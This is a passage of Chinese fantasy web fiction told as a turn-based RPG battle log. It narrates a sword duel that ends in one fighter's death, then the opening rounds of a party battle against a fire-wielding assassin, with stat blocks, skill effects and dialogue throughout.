康乾清受到303点伤害,且被施加了二十五层流血,中途康乾清连续格挡了两次。姜北谷子恢复101点生命。康乾清身负十层银之荆棘。 康乾清使用水之印·川流不息,消耗自身10%仙力恢复200点生命,获得额外200点生命,下一次受到的攻击伤害减50%。 目前战况: 姜北谷子血量197,架势值96%。 康乾清血量329,额外血量200,架势值23%。 战斗暂停中...... 康乾清: “前辈,不愧是曾经的剑圣,真是猛到不行啊!能与您交手,是我的幸运。接下来该全力以赴了呢。” 姜北谷子: “孩子,你格局小了。” 康乾清: “此话怎讲?” 姜北谷子: “从与你战斗的那一刻开始,我就在全力以赴了。试探都是随带而来的副产品。剑客从不以弱人一等的方式试探对手,那是卑劣之人才会做的事情。剑客对决中,如果你足够尊重对手,开局就要拼尽全力。尊重越大,给出的‘交代’也就越大。有些敌人,甚至可以让剑客献出生命。” 康乾清: “哈哈哈,看来我们这不仅仅是一场对决,更是一场剑道课啊。剑圣师傅,徒儿受教了。” 姜北谷子: “有心者乐学,无处不得师。” 康乾清: “孰强孰弱,拼尽一切。付之一炬,在所不惜。” 战斗继续...... 第三回合,姜北谷子技能:剑术解放触发,强大的意志战胜自然而得到驾驭风的力量,银之荆棘相关技能解锁,战斗架势切换为真切。康乾清技能触发,血量上限及自身血量提升25%,战斗架势切换为水·静。康乾清受到210点流血伤害,流血层数减4。姜北谷子恢复1点血量。康乾清恢复50点血量。 (水·静架势效果:水属性、火属性、物理类伤害抗性提高50%,招架攻击能力大幅度提升,防御、速度、再生属性提升25%,所受伤害提高25%,防御反击伤害提高75%,但所受处决伤害翻倍,攻击附带水属性效果,一般的火属性克制。) 姜北谷子使用轮音切云,对康乾清造成89点伤害。中途康乾清使用水之印·扭转乾坤进行招架,姜北谷子受到45点伤害。康乾清身负十二层银之荆棘。姜北谷子身负十二层水灵元。 康乾清使用潮涌浪柱,被姜北谷子躲开了。姜北谷子使用凌风战九霄直接破解,剑气释放出气吞山河之势,对康乾清造成了68点伤害。康乾清身负十五层银之荆棘。 姜北谷子使用银之荆棘·绝响噤嚣,消耗五层银之荆棘,致命攻击!释放噤与嚣的夺命二连斩。 “一剑断,念无尘。” 康乾清受到207点致命伤害!康乾清被施加了十层破甲、缓慢。 康乾清架势崩溃,陷入一回合的昏厥。 第四回合,康乾清技能:灵兽崛起激活,康乾清武魂爆发了,康乾清进入武魂强化状态。康乾清身上所有负面效果清除,血量变为999点,速度等级变为V,武魂:丘鲨相关技能解锁,每回合固定恢复100点血量,免疫流血、中毒、烧伤、深渊水压、感电效果。姜北谷子技能触发,本回合行动数加3。姜北谷子恢复67点生命。康乾清恢复145点血量。 姜北谷子使用银之荆棘·往生断,消耗四层银之荆棘,对康乾清造成166点伤害,下一次攻击伤害提高66%。 姜北谷子使用龙·铭龙闹天,对康乾清造成207点伤害,对康乾清施加三层感电。康乾清身负九层银之荆棘。 姜北谷子使用处决,致命伤害!姜北谷子手起刀落,麻利的完成了处决。一刀斩魍魉,一剑定乾坤。 “格杀勿论!” 康乾清受到407点致命伤害!康乾清被施加了三层破甲、缓慢,康乾清陷入麻痹状态。康乾清身负十层银之荆棘。姜北谷子恢复80点生命。 康乾清苏醒了。 目前战况: 姜北谷子血量250,架势值91%。 康乾清血量239,架势值100%。 战斗暂停中...... 康乾清: “唔啊......” 姜北谷子: “这是几招过去,你就要撑不住了吗?” 康乾清: “不,才没有!我还可以继续战斗。” 姜北谷子: “好骨气。” 康乾清: “剑身师傅,我想问一个问题......” 姜北谷子: “请问。趁现在你我都还有功夫说话。” 康乾清: “你说,一个人若是为了一件在乎的事而放弃已经拥有的一切,这算不算是愚蠢啊?” 姜北谷子: “并不算。人各有志,付出与牺牲在所难免。” 康乾清笑了。 康乾清: “这样,我也就没有遗憾了。” 此时,一股奇异的能量从康乾清体内迸发而出。康乾清的意志影响到了水灵之力在他体内的运转。突然,一滴泪水从他的右眼眼角滑落,他默默的闭上了眼睛。下一刻,当他再次睁开眼睛时,残缺的、深蓝色的神之眼也同时睁开。康乾清右眼发出了深蓝色的微光,先祖的身影再次出现在他的身上。 康乾清: “无需深情的告白,剑即使我心意的证明!” 姜北谷子: “该死的魅力......小鬼,奉上觉悟。” 战斗继续...... 第五回合,康乾清技能触发:神之眼·朦胧触发,康乾清进入神铭印强化状态,恢复400点生命,永久给予自己五层力量、速度、防御、耐性、再生效果,由单回合四行动变为单回合六行动,每回合固定恢复75点生命,战斗架势切换为水·寒。姜北谷子技能触发,本回合行动数加2,获得100额外生命,战斗风格变为招架。康乾清恢复150点生命。姜北谷子恢复44点生命。 (水·寒架势效果:水属性攻击伤害提升100%,防御力提升100%,但速度和再生属性降低50%,每回合减少一次行动数,攻击附带寒属性效果,速度等级低于对方时被攻击会短暂小幅度提升防御和攻击,极强的火属性克制与反克制。) 姜北谷子使用银之荆棘·禅心不倒,消耗一层银之荆棘,敌人的下一次攻击必定被招架。 康乾清使用水神印·冰河世纪,消耗三层水灵元,可惜被完美招架了。姜北谷子使用佛魔之念·寸断招架,消耗三层银之荆棘,康乾清受到197点伤害,康乾清被施加了五层破甲、缓慢、虚弱,康乾清陷入二级麻痹状态。康乾清身负七层银之荆棘。 姜北谷子使用银之荆棘·千禧武闪,消耗五层银之荆棘,出其不意!对康乾清造成288点伤害,对康乾清施加了八层破甲,康乾清陷入三级麻痹状态。 康乾清使用水神印·次元霜洪,消耗一层水灵元,对姜北谷子造成74点伤害,对姜北谷子施加了三层冰霜(十层冰霜可以禁锢人一回合),中途姜北谷子连续格挡三次。姜北谷子身负十一层水灵元。 姜北谷子使用银之荆棘·剑圣之道,下回合开始展现银之荆棘完全状态。 康乾清使用水之神·薄溟烟海,消耗八层水灵元,出其不意!对姜北谷子造成230点伤害,对姜北谷子施加了三回合的八层缓慢、虚弱、破甲、溺水和一层威力增幅无效化。康乾清恢复69点生命。 第六回合,姜北谷子技能:银之荆棘上的红玫瑰发动,银之荆棘的潜力完全激发,该技能永久给予持剑人血与银玫瑰效果,本回合行动数加4。康乾清技能触发,每回合固定对敌方单位造成50点冻伤,每有一位敌方单位遭到冻伤都会恢复自身25点生命。姜北谷子恢复20点生命。康乾清恢复150点生命。 (血与银玫瑰效果:攻击敌人施加银之荆棘效果,攻击身负银之荆棘的敌人时受到小幅度增益。敌方目标身上的银之荆棘层数越多,持有银之荆棘的人对其造成的伤害越高。每一层银之荆棘效果提供7.5%额外伤害,攻击额外恢复4点生命。身负银之荆棘的敌人在回合开始时会受到伤害,伤害值为银之荆棘层数的十五倍。银之荆棘层数上限为20。特别提示:持剑人被敌人成功伤害会降低敌人身上的银之荆棘层数,抵消率为一比一。) 姜北谷子使用银之荆棘·血之绽放,出招奇快!对康乾清造成221点伤害,对康乾清施加二十层流血。康乾清身负七层银之荆棘。姜北谷子恢复8点生命。突发情况!血爆效果触发,康乾清身上流血层数清空,康乾清受到140点伤害。 康乾清使用神备丘鲨·闹海之徒,对姜北谷子造成12点伤害,对姜北谷子施加一层溺水。中途姜北谷子使用龙之剑法三式·龙鸣震天进行招架,康乾清受到145点伤害,康乾清被施加了三层龙血(每层给予自身15点额外所受伤害),康乾清进入三级麻痹状态。康乾清身负九层银之荆棘。姜北谷子身负三层水灵元。姜北谷子恢复28点生命。 姜北谷子使用银之荆棘·斩破红尘,出招奇快!对康乾清造成295点伤害,对康乾清施加一层太上忘情(若对方不是单身,则所受伤害提高25%;若对方是单身,则降低自身12%攻击速度)。康乾清身负十层银之荆棘。姜北谷子恢复36点生命。 康乾清使用水之印·冰封千里,出其不意!对姜北谷子造成86点伤害,对姜北谷子施加了三层缓慢与虚弱、五层冰霜。姜北谷子身负五层水灵元。康乾清恢复30点生命。 姜北谷子使用银之荆棘·黑暗刺杀,出其不意!对康乾清造成316点伤害,对康乾清施加一层致盲(远程攻击大概率打偏)、五层缓慢与虚弱。姜北谷子恢复40点生命。康乾清身负十一层银之荆棘。 康乾清血量归零了,但他并未倒下。水神的力量使他拒绝了死亡,他体内的力量将他从死亡之中拉了回来。康乾清目前剩余血量仅有1点,他体内留存的力量已所剩无几。为了能让自己战斗下去,他赌上一切选择继续战斗。康乾清体内最后留存的水之力,此刻令他屹立不倒。 康乾清使用水神印·霜天九重奏,消耗三层水神印以及自身50%的仙力,致命攻击!对姜北谷子造成31点伤害,对姜北谷子施加一层缓慢、虚弱、冰霜。中途姜北谷子使用犰狳之术完美格挡。 姜北谷子使用极技·鸿星七连斩,消耗自身35%的核心能量释放致命绝技!势不可挡的夺命七连斩打出,一剑红、一剑紫、一剑夺命、一剑断魂,其场面震撼无比。绚丽的剑气附在剑上飞舞,神圣的烈焰爆发在剑的每一次碰撞,其速度之快连空气都被轻易撕裂。 “砍!劈!扫!崩!刺!挑!斩!!!” 连斩之后姜北谷子目光所及之处,再无生命伫立。 康乾清受到1055点伤害,康乾清被施加了五十层破甲,康乾清进入满级麻痹状态。姜北谷子恢复44点生命。康乾清身负十八层银之荆棘。 康乾清的肉身崩溃了,他的神之眼中爆出了鲜血,伴随而来的是他口中一大口一大口吐着的鲜血。他背后的魂兽耗尽了力量,最终化成支撑他苟活一段时间的最后力量。仙力已经耗尽,康乾清陷入穷途末路。 战斗暂停中...... 康乾清: “哈......哈哈哈,结束了吗?看样子,已经到极限了呢。突然觉得,旁物都不重要了呢。剩下的......也就只有战斗了吧。” 姜北谷子: “少废话,放马过来。” 康乾清: “呵......真是让人多歇一会都不行呢。” 姜北谷子: “纳命来。” 战斗继续...... 第七回合,终幕,双方开始最后交锋。康乾清进入濒死状态,血量变为10点。姜北谷子恢复74点生命。双方同时出手。 姜北谷子使用银之荆棘·鬼灭之刃,姜北谷子向康乾清斩出致命的一剑。 康乾清使用水神印·寒霜破天斩,康乾清向姜北谷子斩出致命的一刀。 电光火石之间,战斗便分出了胜负。 姜北谷子手起刀落,一刀定乾坤。两人的刀都结结实实砍在了对方身上,一时两人都定在了原地。眨眼的时间之后,康乾清喷出一口鲜血,随后缓缓倒下,再起不能。论兵器出手的速度,姜北谷子更胜一筹。康乾清这一刀,因身体剧痛而失力,所以对姜北谷子几乎没有造成伤害。姜北谷子取得了胜利,一场足以纳入剑术教材的胜利! 姜北谷子获得Exp,可喜可贺! 战斗结束...... 康乾清躺在地面上,眼睛死死地盯着姜北谷子。他自知命不久矣,于是在生命的最后一段时间里,他选择注视姜北谷子这位值得尊敬的对手。血很快染红了他的衣裳,修为随同四散的斗气一起消逝,最终的结局便是归复常人的死去。 康乾清看着姜北谷子,面带笑容地感叹: “真是......一场......畅快的战斗呢。” 姜北谷子走到康乾清身前,稍稍抬起手中的剑,随即就是一剑下去。 “永别了......” 说完这句话,姜北谷子又补了一剑,彻底送葬这位对手。 康乾清,彻底败北! 解决完康乾清,姜北谷子汇聚能量于剑上,紧接着其上的银之荆棘在极短时间内吸收净剑上的鲜血,顿时剑锋又变得银光闪闪。姜北谷子注视面前的尸体,不禁回想起了自己曾经游走江湖的日子,又联想到了那些面目可憎的天上人......想到此处,他不由得感叹: “天上人当中,也还是有骨气的家伙嘛。不过可惜,他出生在天之乡那块贪官与刁民肆虐的土地。” 姜北谷子收剑表示尊敬。 “呵,若不是敌人,也许我还有兴致收他为徒呢。毕竟老朽也有好几千年没正式收过徒弟了......” 之后,将视线转到第一战场。时间恢复到战斗刚开始的时候...... 联盟国—第十五话:天之军(下) 书接上文...... 第一战场,伊一行人对决谷玖美。 伊和谷玖美相互对视一番,两人的眼神中都布满了坚毅。随着一阵阴风吹起了地面上的叶子,两人的角逐正式开始。伊与谷玖美同时起步,开始向着对方狂奔。伊变出一把光之阔剑握在手中,然后不顾一切地向前狂奔。小咒刀飞速追了上来,并随同伊前进。谷玖美信手捻来一把幻影剑,随手一甩释放出密集的幻影飞剑剑阵,身后悬着的三把仙文剑也混入其中。伊变出相同数量的光之剑招呼了过去,小咒刀也混在其中处理着幻影飞剑。 幻影飞剑刚刚解决,仙文剑接踵而至。伊挥动阔剑打飞了其中两把,迂回护主的小咒刀解决掉最后一把。正巧谷玖美达到了完美的起跳距离,伊刚解决完飞剑又要面临谷玖美的追击。谷玖美使出x形斩杀飞袭而来,小咒刀主动挡在伊身前抗下这一击,随后飞了出去。伊与谷玖美随即展开了激烈的近距离交锋,两人使出浑身解数,一通操作下来伊略占下风。谷玖美此时展开了猛烈的追击战,伊自知正面不敌愤怒状态的谷玖美,且战且退打出了游击战的氛围。 就在谷玖美要收割战斗的第一滴鲜血时,小咒刀飞了回来,凌空一记舞转乱扫打断谷玖美的战斗节奏。趁此机会,伊与谷玖美拉开距离,随后在小咒刀的配合下一个超级跳来到离地五米的半空中。谷玖美挥动双刀释放灼炎巨刃,巨大的烈焰剑光刹那间吞没了伊。只是下一秒,伊手中的两把带刃双拐撕裂了剑光,伊从中毫发无伤地冲出。那一刻的伊,令谷玖美第一次感到了恐惧。 谷玖美来不及惊讶,半空中的伊双拐合一变出大剑向谷玖美重重的劈来。谷玖美凝望伊此时的身影,不禁眉头一皱,随后露出狰狞的面容。紧接着,她的双臂出现了似蛇般盘踞的烈焰,赤红色的烈焰正在燃烧。 接下来迎战,火神门三仙主、天宫离字军锦鲤刺客团上贤一品刺客、一等仙人谷玖美! 战斗准备中...... 伊,等级28,血量161,战斗力92,速度等级III,单回合三行动,介绍:一位富有想象力的中二少女,是个不容小觑的女战士。她的名下多了一句格言:“别看人家是女孩子就小看人家,我打人可是很痛的哦。恶龙咆哮,哇呜!!!” 小咒刀,等级70,血量∞(接近伊想象的极限),战斗力457,速度等级VII-mAx,单回合双行动,介绍:一把沾有诅咒的剑。“什么?我的介绍怎么就这么短?哦,这样就不短了。”——小咒刀。 至尊骷髅侠,等级85,血量350,战斗力361,速度等级IV,单回合四行动,介绍:一个实力强大的骷髅,当代死灵术士手中第二强的亡灵。在他活着的时候,是白莲内宗的一代宗师,曾作为恩奉的导师。他本人留有一句格言:“快使用双节棍,呵呵哈嘿!” 黑斗笠,等级82,血量210,战斗力345,速度等级IV,单回合双行动,介绍:两百年前樱藏神府红极一时的太刀客,曾作为江湖传说混迹于太玄国与樱藏神府两国之间,其凭借其独门的「落墨刀法」闻名于樱藏神府。虽然身体已经化为骷髅,但他当年的雄风仍在。 领主级目标出现!!! 谷玖美,等级72,血量420,战斗力422,速度等级V,单回合五行动,介绍:火神门这一百年的新秀状元,不仅是门内知名的一枝花,还是天宫里小有名气的角色。她是离字军内赫赫有名的美女刺客,凭借实力与外表双双过人的特点,她很荣幸的成为了天上人重要将领邵殷花手下一朵带刺的「玫瑰花」。但很显然,作为战士她是不合格的。因为她的弱点就在表面,很容易被敌人识破。她打扮得很妖娆,因此防御力很低。 战斗准备完成...... 伊的中二之魂再次爆发,她眼中的战斗世界进行了一轮小小的革新。 第一回合,谷玖美技能触发,全身仙力爆发,进入仙化真人强化状态,血量变为1000点,血量低于200点时开启二形态,从本回合开始每隔一回合就会给予自身额外3次行动数,永久给予自身三层防御、力量、耐性、再生效果,每回合恢复35至50点生命,战斗架势切换为炎战。 伊的技能触发,光之子相关技能解锁,每回合固定恢复50点生命。小咒刀技能触发,每回合额外附赠一次特殊攻击。至尊骷髅侠技能触发,自己存在期间释放力量增幅光环,给予友方全体人员25%的伤害增幅。黑斗笠技能触发,当队友要受到致命伤害时,黑斗笠可以出手拦截,每回合只允许一次。 (炎战战斗架势:攻击附带炎属性挥刃剑气和流光剑气,攻击到的目标身上的烧伤效果不易消散,火属性攻击伤害提高33%,速度等级越高自身伤害越高,强烈的灵属性克制。) 小咒刀先手攻击。 小咒刀使用精确切割,对谷玖美大腿未覆盖布料处造成暴击。谷玖美受到102点伤害,又追加高额侮辱伤害,再被施加了3层流血。 战斗暂停中...... 谷玖美: “诶呀!!!你这流氓!你往哪里砍呢?这伤痕要是让别人看到,人家可要羞死了!” 小咒刀: “怎么?有什么问题吗?难道一把兵器不该去砍那些有皮肤露出的位置吗?那可太怪了吧。你当这是演动漫吗?有那么明显的弱点不去攻击,难道要我硬拼掉你身上嘴硬的那个部分吗?打人不打软肋,那不是傻子吗?” 谷玖美: “唔......总之,不准碰那个地方!” 小咒刀: “真是个怪娘们。还真以为自己活在二次元里呢......真是蠢得像只猪。你说是吧,主人?” 伊: “是呀。这样的怪姐姐,一看就是二次元番剧看多了。真以为打扮得一副妖美艳丽的模样就能打出非凡的战绩?那可真是太蠢了呢。这边建议你换上铠甲再与我们战斗呢,姐姐。” 谷玖美: “唔......胆敢这番羞辱我,找死!” 战斗继续...... 小咒刀使用众神的凝视,谷玖美下一次攻击必定瞄准自己。 小咒刀使用魔影斩一式,对谷玖美造成231点伤害,对谷玖美施加五层流血,永久减少谷玖美一次回合行动数。 谷玖美使用火之印·燃烧之盾,自身防御力大幅度提升,三回合内免疫流血、冻伤、麻痹效果。 谷玖美使用火之印·羲和赐福,恢复500点生命,下一次所受伤害的数值降低为原来的50%。 谷玖美使用火之印·熔合之心,对小咒刀造成1点伤害。 谷玖美使用火之印·凤毛麟角,给予自身三层力量和速度。 谷玖美使用火之印·烟火剑舞,对伊造成了120点伤害,对伊施加了五层烧伤和一层燃烧。 至尊骷髅侠使用感化众人的气概,友方全体角色恢复100点生命。 至尊骷髅侠使用武者精神,五回合内伤害提高50%。 至尊骷髅侠使用无序乱打,对谷玖美造成45点伤害,下一回合可以出手拦截对手的一个技能。 至尊骷髅侠使用撼地抱摔,漂亮的一摔!谷玖美受到100点伤害,谷玖美下一次攻击有50%概率失手。 黑斗笠使用鹰眼目测,成功找出谷玖美弱点,下一次攻击必定暴击。 黑斗笠使用蓄势待发,下一次攻击造成的伤害数值为原来的20%~225%。 伊使用不屈不挠的勇气,下一回合防御力大幅度提升。 伊使用EmA激活协议,消耗自身65%的核心能量生成装备。EmA-125穿戴在伊的身上,伊化身为女版墨子邵。EmA-125特殊技能触发,伊免疫并吸收10%的火焰伤害,防御属性大幅度提升。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 第二回合,谷玖美技能触发,本回合额外行动三次。谷玖美恢复57点生命。伊恢复50点生命。小咒刀先手攻击。 小咒刀使用诅咒侵袭,对谷玖美造成45点伤害,谷玖美本回合受到伤害翻倍。 小咒刀使用连斩,被谷玖美躲开了。 小咒刀使用魔影斩二式,对谷玖美造成了165点伤害,永久削弱谷玖美回合最后行动数造成的伤害,削弱倍数0.48。 谷玖美使用火之印·炎雀之舞,对伊造成了50点伤害,又恢复伊5点生命。 谷玖美使用火之印·烟火剑舞,对伊造成了45点伤害,又恢复伊5点生命。 谷玖美使用火神印·焚灭中原,致命攻击!致命的烈火附着在她的兵器之上,一场猛攻即将展开。黑斗笠出手拦截,黑斗笠拦截不利受到86点伤害,又被施加了十层烧伤和两层燃烧。 谷玖美使用火之印·烈火燎原,对至尊骷髅侠造成90点伤害,对至尊骷髅侠施加了九层烧伤,中途至尊骷髅侠格挡了一次。 谷玖美使用火之印·火漫江城,对黑斗笠造成123点伤害,对黑斗笠施加三层烧伤。黑斗笠使用剑术进行防御,抵消掉90点伤害。 谷玖美使用火之印·燃烧荆棘,下回合拥有反伤效果,反伤效果仅限于近战,反伤倍率0.5。 谷玖美使用火之印·羲和赐福,恢复500点生命,下一次所受伤害的数值降低为原来的50%。 至尊骷髅侠使用修为传递,恢复场上全体友方人员100点生命。 至尊骷髅侠使用无序乱打,对谷玖美造成95点伤害,下回合可以出手拦截对手的一个技能。 至尊骷髅侠使用至尊连击,对谷玖美造成132点伤害,再次使用至尊连击时额外造成25%伤害。 至尊骷髅侠使用豺狼之术,对谷玖美造成80点伤害。中途谷玖美格挡了两次。 黑斗笠使用武士的预备姿势,刀入刀鞘,技能拔刀斩蓄势待发。 黑斗笠使用雾鸦·销魂散,致命攻击!黑暗伴随着居合斩的响声一同到来,雾鸦的啼鸣回荡在战场之中。谷玖美受到497点伤害,谷玖美被施加了五层缓慢和虚弱,谷玖美陷入麻痹状态。 伊使用祷告·铭龙的祝福,消耗自身40%的魔力,给予自身铭龙强化状态,三回合内雷属性伤害提高85%。 伊使用Emw连击,伊召唤出Emw-67亚特兰蒂斯,对谷玖美造成63点伤害,对谷玖美施加了三层感电。 突发情况!Emw-67的特殊技能触发,伊获得使用极技的机会。 伊使用极技·雷贯苍穹,伊高举三叉戟,唤来风暴与雷霆。 “感受这贯穿苍穹的一击吧!” 伊向谷玖美投掷出缠绕雷电的三叉戟,随即无数道闪电汇聚在天空中的一点,紧接着向陆地释放威力巨大的雷霆打击。一阵震耳欲聋的雷声过后,陆地上只剩下寂静...... 谷玖美受到1326点伤害,且被施加了十层感电。 谷玖美使用仙术进行锁血,本回合血量牢牢限制在1点。 伊使用卡娜铃兰的技巧之闪蝶剑闪,出其不意!对谷玖美造成124点伤害,谷玖美身负一层皓月铃兰。 战斗暂停中...... 谷玖美: “呵呵......你这白毛丫头还挺厉害的吗。竟然可以让我对你产生敬畏感,真是不可思议的事!不过......也就到此为止了。” 伊: “收起你的狂妄!瞧不起他人的人最讨厌了。” 小咒刀: “主人甭跟这娘们废话,咱直接办了她!告诉她什么他妈的叫实力!” 伊: “嗯。” 谷玖美: “不怕死的话,尽管放马过来吧。” 铃兰花小声对伊说: “伊!她身上有颜色的气有些不大对劲......她好像要施展她的核心装备了。小心一点,接下来的战斗可能会很棘手。” 战斗继续...... 第三回合,黑斗笠受到132点燃烧伤害,自身烧伤层数减4、燃烧层数减1。 谷玖美技能:灵兽崛起激活,谷玖美武魂爆发了,谷玖美进入武魂强化状态。谷玖美身上所有负面效果清除,血量变为1500点,防御属性小幅度提升,武魂:炎雀相关技能解锁,每回合固定恢复120点血量,免疫中毒、烧伤、冻伤、霜冻、护甲破碎、缓慢效果。镶嵌纹路的赤色之火燃腾在谷玖美身上,周围的空气变得灼热起来。 战斗魂兽炎雀生成在战场上,阵营敌对。 炎雀,等级85,血量500,战斗力400,速度等级V,单回合双行动,介绍:谷玖美的高阶魂兽,一只浑身燃烧着烈焰的神雀。 炎雀技能触发,每回合开幕释放特殊技能「焚天降炎」。 伊的意志等级提升,速度等级提升为IV,每回合行动数加1。谷玖美恢复165点生命。伊恢复50点生命。小咒刀先手攻击。 小咒刀使用精准切割,对谷玖美造成102点伤害,小咒刀受到反伤1点。 小咒刀使用诅咒侵袭,被谷玖美躲开了。 小咒刀使用魔影斩三式,对谷玖美造成了132点伤害,谷玖美本回合行动数减2。中途谷玖美格挡了一次。小咒刀受到反伤1点。 炎雀使用焚天降炎,对至尊骷髅侠和黑斗笠均造成100点伤害,且均施加对方五层烧伤一层燃烧。伊效果免疫,恢复25点生命。 黑斗笠血量归零,阵亡!黑斗笠技能:死灵生物的通性触发,两回合后以最大生命值的一半复活,仅能复活一次。 炎雀使用烈焰俯冲,小咒刀使用防御反击反制,炎雀受到203点伤害。 谷玖美使用火神印·烽火渡月斩,致命攻击!对至尊骷髅侠造成233点伤害,对至尊骷髅侠施加了八层烧伤和一层燃烧。 谷玖美使用火之印·炎雀之舞,至尊骷髅侠使用化劲·流水破解。 伊使用卡娜铃兰的技巧之三蝴蝶,释放夺命三连击!对谷玖美造成68点伤害,伊受到15点反伤。谷玖美身负两层皓月铃兰。 伊使用光之剑I型·武斗流,对谷玖美造成64点伤害,下一次攻击的伤害增加25%。伊受到14点反伤。 伊使用光之工坊·猎刃双拐,对谷玖美造成89点伤害,给予自身一层速度效果。伊受到21点反伤。 伊使用光之剑III型·爆杀流,对谷玖美造成103点伤害,下回合所有伤害提高30%。伊受到26点反伤。 至尊骷髅侠侠义的感染力,全体友方人员获得两回合的三层力量。 至尊骷髅侠使用至尊连击,对炎雀造成196点伤害,再次使用至尊连击时额外造成25%伤害。 至尊骷髅侠使用江湖生存的技巧,出其不意!对炎雀造成201点伤害,下一次攻击必定暴击。 炎雀血量归零,炎雀重归谷玖美身上,谷玖美获得五层力量、速度、防御。 至尊骷髅侠使用双节棍大师的技巧,消耗自身全部的体力,致命攻击!对谷玖美造成305点伤害。至尊骷髅侠受到125点反伤。 至尊骷髅侠血量归零阵亡。至尊骷髅侠技能:死灵生物的通性触发,两回合后以最大生命值的一半复活,仅能复活一次。 伊检查了下战况。 黑斗笠、至尊骷髅侠阵亡。 谷玖美目前血量769点。 伊目前血量85点。 第四回合,谷玖美技能触发,本回合额外行动三次。谷玖美恢复165点生命。伊恢复50点生命。小咒刀先手攻击。 小咒刀使用躯壳贯穿,出其不意!对谷玖美造成89点伤害。 小咒刀使用唐氏三连斩,对谷玖美造成111点伤害。中途谷玖美格挡了一次。 小咒刀使用魔影穿刺,出其不意!对谷玖美造成206点伤害,谷玖美本回合防御力大幅度降低。 谷玖美使用火之印·燃烧之盾,自身防御力大幅度提升,三回合内免疫流血、冻伤、麻痹效果。 谷玖美使用火之印·羲和赐福,恢复500点生命,下一次所受伤害的数值降低为原来的50%。 谷玖美使用火神印·焚灭中原,致命攻击!致命的烈火附着在她的兵器之上,一场猛攻即将展开。 “在我的烈焰之中化为灰烬吧!” 谷玖美发动猛烈的进攻,烈火迸发、火星四射,一场火焰的狂欢展开了! 伊受到669点伤害,伊又恢复了210点生命,伊被施加了五层护甲破损、缓慢、虚弱。伊采取防御措施,减少167点所受伤害。 伊的血量归零,伊倒下了。 EmA-125特殊技能:涅盘触发,伊恢复121点生命并重新站了起来。炎凤之翼展开!伊获得永久的三层力量、速度、再生。伊本回合行动数加三,且无法在本回合战败。墨子邵相关的部分技能解锁。 “吾乃不灭烈焰!尔等歹徒休得猖狂!” 谷玖美使用火之印·炎光挥阵,伊使用炎爆重剑直接破解,谷玖美受到54点伤害。 谷玖美使用火之印·朱雀之影,对伊造成102点伤害,又恢复伊32点生命。 谷玖美使用火之印·炎雀之舞,被突然出现的生物打断了! 影狼中途给予伊帮助。 友方战斗单位出现在战场上。 影狼,等级48,血量500,战斗力109,速度等级V,单回合三行动,介绍:一只前来报恩的狼。 影狼使用战吼,三回合内伤害中幅度提升。 影狼使用狼袭,对谷玖美造成56点伤害。 影狼使用残忍宰杀,对谷玖美造成87点伤害。 战斗暂停中...... 谷玖美: “真是卑鄙!竟然带宠物来参加战斗。” 伊: “吼?看看是谁卑鄙好不好?你可以召唤魂兽,那我就不能有个狼来帮我喽?更何况,它只是个路过的狼狼而已。” 谷玖美: “唔......” 小咒刀: “主人,甭跟她废话,干她就完了。” 谷玖美: “呵......看来我得需要调整下规则了。” 战斗继续...... 谷玖美使用火神印·九炎神剑,致命攻击!谷玖美召唤九把火焰巨剑于身体上方形成圆环剑阵,随即瞄准地方释放飞剑术。 影狼受到450点伤害,且被施加了三十二层烧伤和五层燃烧。 影狼逃跑了。 “哇呜!我尽力啦!” 伊使用卡娜铃兰的技巧之闪蝶二仙,打出姿态优美的二连斩!对谷玖美造成35点伤害,谷玖美身负三层皓月铃兰。 伊使用光之治愈II,消耗自身50%核心能量恢复120点生命,伊获得两回合的八层生命恢复,清除自身全部负面属性。 伊使用Emw连击,伊召唤出EcL-125涅盘炎风的Emw:涅盘(一把酷似方天画戟的战戟),对谷玖美造成了137点伤害。 突发情况!Emw-125专属技能触发,伊获得释放极技的机会。 伊使用极技·野火斩,伊使出夺命十三连狂追剑气斩连击,随后一个健步蹬地跳起回旋上升,然后将全身的核心能力汇聚在战戟之上。 “飞炎流火,斩!” 伊使用大范围横扫剑气斩,烈焰划过苍穹留下一条优美的曲线,随后落入大地形成喷涌的火盆。剑气斩爆发出伊强大的决意,其之剑火所过皆为灰尘。 谷玖美受到499点伤害,谷玖美被施加了十层虚弱。 伊使用卡娜铃兰的技巧之三蝴蝶,释放夺命三连击!对谷玖美造成81点伤害,谷玖美身负五层皓月铃兰。中途谷玖美格挡了一次。 伊使用不屈不挠的勇气,下一回合防御力大幅度提升。 伊使用卡娜铃兰的绝技·铃兰花舞会,消耗五层皓月铃兰,致命攻击!伊使用姿态优美的舞蹈式斩击,飞快打出八次致命的攻击,紧接着凑近敌人释放华丽的蝴蝶剑舞,在这支致命之舞进行的时候,空中开始飘洒铃兰花...... “花开了......我思念着的人啊,你现在还好吗?” 一记致命的蝴蝶斩打出,一场华丽的舞蹈迎来落幕。 谷玖美受到261点伤害,且被施加了五层虚弱。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 战斗暂停中...... 谷玖美: “唔啊!” 小咒刀: “束手就擒吧!你已经被我们两个包围了。” 伊: “这位姐姐,如果你选择放下屠刀,我可以考虑原谅你之前说过的话。我觉得谈一谈比兵戎相见要好很多。但若你执意要与我们为敌的话......抱歉,接下来我们可能会对你粗鲁一些。” 谷玖美: “呵呵呵......都到现在这个时候了,还装什么圣人?!真以为老娘是软柿子吗?呵......真是天真。” 伊: “既然如此......抱歉了。接下来你可能会度过一段非常糟糕的时光。” 谷玖美: “糟糕的时光?这是在说你自己吗?” 伊: “诶?” 谷玖美: “刚刚老娘只是和你热热身,我还没认真起来呢。” 伊: “啊?!” 谷玖美: “接下来尽情见证......名为【谷玖美】的绝唱。” 此时,一股奇异的能量从谷玖美体内迸发而出。谷玖美的意志影响到了水灵之力在他体内的运转。谷玖美的左眼变成了赤橙色的残缺神之眼,火神的力量注入到她的体内。 谷玖美: “感受这......比肩神明的力量!” 小咒刀: “操!燃起来了。大家一起中二吧!” 伊: “突然间......就感到压迫感了呢。” 战斗继续...... 第五回合,谷玖美技能触发:神之眼·残破触发,谷玖美进入神铭印强化状态,恢复900点生命,永久给予自己五层力量、速度、防御、耐性、再生效果,由单回合五行动变为单回合六行动,每回合固定恢复300点生命,战斗架势切换为炎爆。 谷玖美体内的火神之力产生了异变。不可控的冥界之火涌现在她的身上,其产生堕落反噬效果,谷玖美所受伤害将随着她的行动数增加而增加。倘若某一回合谷玖美血量归零,则本回合无法死亡且会在下一回合恢复300点生命,该效果仅能生效一次并且会加重冥界之火对谷玖美的反噬效果。 